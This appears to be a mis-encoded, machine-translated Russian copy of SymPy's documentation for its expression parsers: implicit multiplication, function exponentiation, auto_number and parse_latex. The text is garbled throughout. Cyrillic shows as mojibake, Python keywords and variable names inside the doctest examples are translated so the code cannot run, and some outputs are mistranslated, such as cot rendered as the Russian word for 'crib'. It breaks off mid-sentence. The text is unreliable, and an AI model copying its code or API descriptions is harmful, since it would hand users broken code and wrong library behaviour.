ΠΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½ Π΄Π»Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΡΠ°ΠΊΠΈΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠ°ΠΊ
xyz
, ΠΊΠ°ΠΊx * y * z
. ΠΠ΅
ΡΠ°Π·Π΄Π΅Π»ΠΈΡΡ ΠΈΠΌΠ΅Π½Π° Π³ΡΠ΅ΡΠ΅ΡΠΊΠΈΡ ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ², ΠΏΠΎΡΡΠΎΠΌΡtheta
Π±ΡΠ΄Π΅Ρ , Π° Π½Π΅ ΡΡΠ°Π½Π΅Ρ
Ρ * Ρ * Π΄ * Ρ * Π°
.ΠΠ±ΡΡΠ½ΠΎ ΡΡΠΎ ΡΠ»Π΅Π΄ΡΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Ρ
Π½Π΅ΡΠ²Π½ΠΎΠ΅_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅
.
-
sympy.parsing.sympy_parser.
split_symbols_custom
( ΠΏΡΠ΅Π΄ΠΈΠΊΠ°Ρ ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] Π‘ΠΎΠ·Π΄Π°Π΅Ρ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅, ΡΠ°Π·Π΄Π΅Π»ΡΡΡΠ΅Π΅ ΠΈΠΌΠ΅Π½Π° ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ².
ΠΏΡΠ΅Π΄ΠΈΠΊΠ°Ρ
Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°ΡΡ True, Π΅ΡΠ»ΠΈ ΠΈΠΌΡ ΡΠΈΠΌΠ²ΠΎΠ»Π° Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±ΡΡΡ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΎ.ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΡΡΠΎΠ±Ρ ΡΠΎΡ ΡΠ°Π½ΠΈΡΡ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ, Π½ΠΎ ΠΈΠ·Π±Π΅ΠΆΠ°ΡΡ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΡ Π½Π΅ΠΊΠΎΡΠΎΡΡΡ
ΠΈΠΌΠ΅Π½Π° ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ², ΡΠ°ΠΊΠΎΠΉ ΠΏΡΠ΅Π΄ΠΈΠΊΠ°Ρ Π±ΡΠ΄Π΅Ρ ΡΠ°Π±ΠΎΡΠ°ΡΡ:>>> ΠΎΡ sympy.parsing.sympy_parser import (parse_expr, _token_splittable, ... ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ, Π½Π΅ΡΠ²Π½ΠΎΠ΅_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅, ... split_symbols_custom) >>> def can_split (ΡΠΈΠΌΠ²ΠΎΠ»): ... Π΅ΡΠ»ΠΈ ΡΠΈΠΌΠ²ΠΎΠ»Π° Π½Π΅Ρ Π² ('list', 'of', 'unsplittable', 'names'): ... Π²Π΅ΡΠ½ΡΡΡ _token_splittable (ΡΠΈΠΌΠ²ΠΎΠ») ... Π²Π΅ΡΠ½ΡΡΡ False ... >>> ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ = split_symbols_custom (can_split) >>> parse_expr ('Π½Π΅ΡΠ°ΡΡΠ΅ΠΏΠ»ΡΠ΅ΠΌΡΠΉ', ΡΡΠ°Π½ΡΡΠΎΡΠΌΠ°ΡΠΈΠΈ = ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ + ... (ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅, Π½Π΅ΡΠ²Π½ΠΎΠ΅_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅)) Π½Π΅ΡΠ°Π·Π΄Π΅Π»ΠΈΠΌΡΠΉ
-
sympy.parsing.sympy_parser.
implicit_multiplication
( ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] Π Π±ΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²Π΅ ΡΠ»ΡΡΠ°Π΅Π² Π΄Π΅Π»Π°Π΅Ρ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡ ΡΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΡ Π½Π΅ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΡΠΌ.
ΠΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ ΡΡΠΎ ΠΏΠ΅ΡΠ΅Π΄
implicit_application ()
, ΠΈΠ½Π°ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ Π²ΡΠΎΠ΄Π΅
sin 2x
Π±ΡΠ΄Π΅Ρ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°Π½ΠΎ ΠΊΠ°ΠΊx * sin (2)
, Π° Π½Π΅sin (2 * x)
.ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΈΠ· ΠΈΠΌΠΏΠΎΡΡΠ° sympy.parsing.sympy_parser (parse_expr, ... ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ, Π½Π΅ΡΠ²Π½ΠΎΠ΅_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅) >>> ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ = ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ + (Π½Π΅ΡΠ²Π½ΠΎΠ΅_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅,) >>> parse_expr ('3 x y', ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ = ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ) 3 * Ρ * Ρ
-
sympy.parsing.sympy_parser.
implicit_application
( ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] Π Π½Π΅ΠΊΠΎΡΠΎΡΡΡ ΡΠ»ΡΡΠ°ΡΡ Π΄Π΅Π»Π°Π΅Ρ ΡΠΊΠΎΠ±ΠΊΠΈ Π½Π΅ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΡΠΌΠΈ Π΄Π»Ρ Π²ΡΠ·ΠΎΠ²ΠΎΠ² ΡΡΠ½ΠΊΡΠΈΠΉ.
ΠΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ ΡΡΠΎ ΠΏΠΎΡΠ»Π΅
implicit_multiplication ()
, ΠΈΠ½Π°ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ
Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ,sin 2x
Π±ΡΠ΄Π΅Ρ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡΡΡ ΠΊΠ°ΠΊx * sin (2)
, Π° Π½Π΅
Π³ΡΠ΅Ρ (2 * Ρ )
.ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΈΠ· ΠΈΠΌΠΏΠΎΡΡΠ° sympy.parsing.sympy_parser (parse_expr, ... ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ, Π½Π΅ΡΠ²Π½ΠΎΠ΅_ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅) >>> ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ = ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ + (Π½Π΅ΡΠ²Π½ΠΎΠ΅_ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅,) >>> parse_expr ('cot z + csc z', ΡΡΠ°Π½ΡΡΠΎΡΠΌΠ°ΡΠΈΠΈ = ΡΡΠ°Π½ΡΡΠΎΡΠΌΠ°ΡΠΈΠΈ) Π΄Π΅ΡΡΠΊΠ°Ρ ΠΊΡΠΎΠ²Π°ΡΠΊΠ° (z) + csc (z)
-
sympy.parsing.sympy_parser.
function_exponentiation
( ΡΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π²ΠΎΠ·Π²ΠΎΠ΄ΠΈΡΡ ΡΡΠ½ΠΊΡΠΈΠΈ Π² ΡΡΠ΅ΠΏΠ΅Π½Ρ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ
cos ** 2 (x)
.ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΈΠ· ΠΈΠΌΠΏΠΎΡΡΠ° sympy.parsing.sympy_parser (parse_expr, ... ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ, ΡΡΠ½ΠΊΡΠΈΡ_ΡΠΊΡΠΏΠΎΠ½Π΅Π½ΡΠΈΠ°ΡΠΈΡ) >>> ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ = ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ + (ΡΡΠ½ΠΊΡΠΈΡ_ΡΠΊΡΠΏΠΎΠ½Π΅Π½ΡΠΈΠ°ΡΠΈΡ,) >>> parse_expr ('sin ** 4 (x)', ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ = ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ) Π³ΡΠ΅Ρ (Ρ ) ** 4
-
sympy.parsing.sympy_parser.
implicit_multiplication_application
( ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΠΌΡΠ³ΡΠΈΡΡ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡ.
Π‘ΠΊΠΎΠ±ΠΊΠΈ Π΄Π»Ρ Π²ΡΠ·ΠΎΠ²ΠΎΠ² ΠΌΠ΅ΡΠΎΠ΄ΠΎΠ² Ρ ΠΎΠ΄Π½ΠΈΠΌ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠΌ Π½Π΅ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½Ρ.
Π£ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ΡΠ²Π½ΠΎΠ΅.
ΠΠΌΠ΅Π½Π° ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ ΡΠ°Π·Π΄Π΅Π»Π΅Π½Ρ (Ρ.Π΅. ΠΏΡΠΎΠ±Π΅Π»Ρ ΠΌΠ΅ΠΆΠ΄Ρ
ΡΠΈΠΌΠ²ΠΎΠ»Ρ).Π€ΡΠ½ΠΊΡΠΈΠΈ ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ Π²ΠΎΠ·Π²Π΅Π΄Π΅Π½Ρ Π² ΡΡΠ΅ΠΏΠ΅Π½Ρ.
ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΈΠ· ΠΈΠΌΠΏΠΎΡΡΠ° sympy.parsing.sympy_parser (parse_expr, ... ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ, Π½Π΅ΡΠ²Π½ΠΎΠ΅_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅_ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅) >>> parse_expr ("10sin ** 2 x ** 2 + 3xyz + tan theta", ... ΡΡΠ°Π½ΡΡΠΎΡΠΌΠ°ΡΠΈΠΈ = (ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ + ... (Π½Π΅ΡΠ²Π½ΠΎΠ΅_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅_ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅,))) 3 * x * y * z + 10 * sin (x ** 2) ** 2 + tan (ΡΠ΅ΡΠ°)
-
sympy.parsing.sympy_parser.
ΡΠ°ΡΠΈΠΎΠ½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ
( ΡΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ΅Ρ ΡΠΈΡΠ»Π° Ρ ΠΏΠ»Π°Π²Π°ΡΡΠ΅ΠΉ Π·Π°ΠΏΡΡΠΎΠΉ Π²
Rational
., ΠΊΠ°ΠΊ Π²ΠΎΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² ΡΡΠ΅ΠΏΠ΅Π½Ρ,**
.
ΠΠ½ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½Ρ Π²
: data: sympy.parsing.sympy_parser.standard_transformations
ΠΈ Π²ΠΎΠΎΠ±ΡΠ΅
Π½Π΅ Π½ΡΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΡΡ Π²ΡΡΡΠ½ΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Π΅ΠΌ.
-
sympy.parsing.sympy_parser.
lambda_notation
( ΡΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠ°ΠΌΠ΅Π½ΡΠ΅Ρ Β«Π»ΡΠΌΠ±Π΄Π°Β» Π½Π° Π΅Π³ΠΎ ΡΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ Π² Sympy Lambda ().ΠΠ΄Π½Π°ΠΊΠΎ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π΅ ΠΏΡΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ, Π΅ΡΠ»ΠΈ ΡΠΎΠ»ΡΠΊΠΎ Β«Π»ΡΠΌΠ±Π΄Π°Β»
ΠΏΠ΅ΡΠ΅Π΄Π°Π΅ΡΡΡ, ΠΏΠΎΡΠΎΠΌΡ ΡΡΠΎ ΡΡΠΎ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠ°Ρ ΠΎΡΠΈΠ±ΠΊΠ°.
-
sympy.parsing.sympy_parser.
auto_symbol
( ΡΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΡΡΠ°Π²Π»ΡΠ΅Ρ Π²ΡΠ·ΠΎΠ²Ρ
Π‘ΠΈΠΌΠ²ΠΎΠ»
/Π€ΡΠ½ΠΊΡΠΈΡ
Π΄Π»Ρ Π½Π΅ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ .
-
sympy.parsing.sympy_parser.
Repeated_decimals
( ΡΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π½ΠΎΡΠ°ΡΠΈΠΈ 0,2 [1] ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»ΡΡΡ ΠΏΠΎΠ²ΡΠΎΡΡΡΡΠ΅Π΅ΡΡ Π΄Π΅ΡΡΡΠΈΡΠ½ΠΎΠ΅ ΡΠΈΡΠ»ΠΎ 0,2111β¦ (19/90)
ΠΠ°ΠΏΡΡΠΊΠ°ΡΡ ΠΏΠ΅ΡΠ΅Π΄ auto_number.
-
sympy.parsing.sympy_parser.
auto_number
( ΡΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ΅Ρ ΡΠΈΡΠ»ΠΎΠ²ΡΠ΅ Π»ΠΈΡΠ΅ΡΠ°Π»Ρ Π΄Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΡΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½ΡΠΎΠ² SymPy.
ΠΠΎΠΌΠΏΠ»Π΅ΠΊΡΠ½ΡΠ΅ ΡΠΈΡΠ»Π° ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡ
I
, ΡΠ΅Π»ΠΎΡΠΈΡΠ»Π΅Π½Π½ΡΠ΅ Π»ΠΈΡΠ΅ΡΠ°Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡInteger
ΠΈ Ρ ΠΏΠ»Π°Π²Π°ΡΡΠ΅ΠΉ ΡΠΎΡΠΊΠΎΠΉ
Π»ΠΈΡΠ΅ΡΠ°Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡFloat
.
-
sympy.parsing.sympy_parser.
factorial_notation
( ΡΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅ ΠΎΠ±ΠΎΠ·Π½Π°ΡΠ΅Π½ΠΈΡ Π΄Π»Ρ ΡΠ°ΠΊΡΠΎΡΠΈΠ°Π»Π°.
ΠΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠ°Π»ΡΠ½ΡΠΉ Π°Π½Π°Π»ΠΈΠ· \ (\ mathrm {\ LaTeX} \)
\ (\ mathrm {\ LaTeX} \) ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ· Π±ΡΠ» ΠΏΠ΅ΡΠ΅Π½Π΅ΡΠ΅Π½ ΠΈΠ·
latex2sympy.Π₯ΠΎΡΡ ΡΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»ΡΠ½ΡΠΉ
ΠΈ Π΅Π³ΠΎ API Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡΡΠ°Π²Π°ΡΡΡΡ ΡΡΠ°Π±ΠΈΠ»ΡΠ½ΡΠΌ, ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΠΈΠ»ΠΈ ΡΠ΅ΡΠ²Π΅ΡΠ½Π°Ρ ΡΠ°ΡΡΡ ΠΌΠΎΠ³ΡΡ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡΡΡ Π²
Π±ΡΠ΄ΡΡΠΈΠ΅ Π²ΡΠΏΡΡΠΊΠΈ.
\ (\ mathrm {\ LaTeX} \) ΠΡΠ΅Π΄ΠΎΡΡΠ΅ΡΠ΅ΠΆΠ΅Π½ΠΈΡ ΠΏΡΠΈ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠΌ Π°Π½Π°Π»ΠΈΠ·Π΅
Π’Π΅ΠΊΡΡΠ°Ρ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΡ ΡΠ²Π»ΡΠ΅ΡΡΡ ΡΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠ°Π»ΡΠ½ΠΎΠΉ. ΠΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, ΡΠ΅ΡΠ²Π΅ΡΠ½Π°Ρ ΡΠ°ΡΡΡ ΠΏΠ°ΡΡΠ΅ΡΠ° ΠΈ
API ΠΌΠΎΠΆΠ΅Ρ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡΡΡ Π² Π±ΡΠ΄ΡΡΠ΅ΠΌ. Π ΠΎΡΠ»ΠΈΡΠΈΠ΅ ΠΎΡ Π½Π΅ΠΊΠΎΡΠΎΡΡΡ
Π΄ΡΡΠ³ΠΈΡ
ΠΏΠ°ΡΡΠ΅ΡΠΎΠ², \ (\ mathrm {\ LaTeX} \)
ΡΠ°Π·ΡΠ°Π±ΠΎΡΠ°Π½ ΠΊΠ°ΠΊ Π½Π°Π±ΠΎΡΠ½ΡΠΉ ΡΠ·ΡΠΊ , Π° Π½Π΅ ΡΠΈΡΡΠ΅ΠΌΠ° ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ½ΠΎΠΉ Π°Π»Π³Π΅Π±ΡΡ ΠΈ Ρ. Π΄.
ΠΌΠΎΠΆΠ΅Ρ ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΡ ΡΠΈΠΏΠΎΠ³ΡΠ°ΡΡΠΊΠΈΠ΅ ΡΡΠ»ΠΎΠ²Π½ΡΠ΅ ΠΎΠ±ΠΎΠ·Π½Π°ΡΠ΅Π½ΠΈΡ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠΈΡΠΎΠ²Π°ΡΡ ΠΏΠΎ-ΡΠ°Π·Π½ΠΎΠΌΡ.
Π Π΅Π³ΠΎ ΡΠ΅ΠΊΡΡΠ΅ΠΌ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠ»Π½ΠΎΡΡΡΡ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ
Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅, Π½ΠΎ Π½Π΅ Π²ΡΠ΄Π°Π²Π°ΡΡ ΠΏΡΠ΅Π΄ΡΠΏΡΠ΅ΠΆΠ΄Π΅Π½ΠΈΠ΅:
ΠΡΠΎΡΡΠΎ Π½Π°ΠΉΠ΄Π΅Ρ x
. Π’ΠΎ, ΡΡΠΎ ΠΏΠΎΠΊΡΡΠ²Π°Π΅ΡΡΡ ΡΡΠΈΠΌ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ, ΠΏΠΎΡΡΠΈ Π½Π°Π²Π΅ΡΠ½ΡΠΊΠ°
ΠΌΠ΅Π½ΡΡΡΡΡ ΠΌΠ΅ΠΆΠ΄Ρ ΡΠ΅Π»ΠΈΠ·Π°ΠΌΠΈ ΠΈ ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡΡΡ Π±ΠΎΠ»Π΅Π΅ ΡΡΡΠΎΠ³ΠΈΠΌΠΈ, ΡΠ°ΡΡΠ»Π°Π±Π»Π΅Π½Π½ΡΠΌΠΈ ΠΈΠ»ΠΈ ΡΠΌΠ΅ΡΠ°Π½Π½ΡΠΌΠΈ.
\ (\ mathrm {\ LaTeX} \) Π‘ΠΏΡΠ°Π²ΠΎΡΠ½ΠΈΠΊ ΠΏΠΎ ΡΡΠ½ΠΊΡΠΈΡΠΌ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°
-
sympy.parsing.latex.
parse_latex
( s ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ΅Ρ ΡΡΡΠΎΠΊΡ
s
Π² SymPyExpr
- ΠΠ°ΡΠ°ΠΌΠ΅ΡΡΡ
Ρ : ΡΠ»
Π‘ΡΡΠΎΠΊΠ° LaTeX Π΄Π»Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°.Π ΠΈΡΡ ΠΎΠ΄Π½ΠΎΠΌ ΠΊΠΎΠ΄Π΅ Python, ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠ΅ΠΌ LaTeX,
Π½Π΅ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π½Π½Π°Ρ ΡΡΡΠΎΠΊΠ° (ΠΎΠ±ΠΎΠ·Π½Π°ΡΠ°Π΅ΡΡΡr "
, ΠΊΠ°ΠΊ ΡΡΠ°) ΠΏΡΠ΅Π΄ΠΏΠΎΡΡΠΈΡΠ΅Π»ΡΠ½Π΅Π΅,
ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ LaTeX Π»ΠΈΠ±Π΅ΡΠ°Π»ΡΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅Ρ ΡΠΈΠΌΠ²ΠΎΠ»\
, ΡΡΠΎ
ΡΠΊΡΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡΠΈΠ³Π³Π΅ΡΠ° Π² ΠΎΠ±ΡΡΠ½ΡΡ ΡΡΡΠΎΠΊΠ°Ρ Python.
ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΈΠ· sympy.parsing.latex import parse_latex >>> expr = parse_latex (r "\ frac {1 + \ sqrt {\ a}} {\ b}") >>> expr (sqrt (a) + 1) / b >>> Π²ΡΡ.evalf (4, subs = dict (a = 5, b = 2)) 1,618
\ (\ mathrm {\ LaTeX} \) Π‘ΠΏΡΠ°Π²ΠΎΡΠ½ΠΈΠΊ ΠΏΠΎ ΠΈΡΠΊΠ»ΡΡΠ΅Π½ΠΈΡΠΌ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°
- ΠΊΠ»Π°ΡΡ
sympy.parsing.latex.
LaTeXParsingError
[ΠΈΡΡΠΎΡΠ½ΠΈΠΊ]
Π‘ΠΏΡΠ°Π²ΠΎΡΠ½ΠΈΠΊ ΠΏΠΎ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡΠΌ SymPy
- ΠΊΠ»Π°ΡΡ
sympy.parsing.sym_expr.
SymPyExpression
( source_code = None , mode = None ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠ»Π°ΡΡ Π΄Π»Ρ Ρ ΡΠ°Π½Π΅Π½ΠΈΡ ΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ SymPy
ΠΡΠΎΡ ΠΊΠ»Π°ΡΡ Π±ΡΠ΄Π΅Ρ ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ SymPy ΠΈ ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°ΡΡ API Π΄Π»Ρ
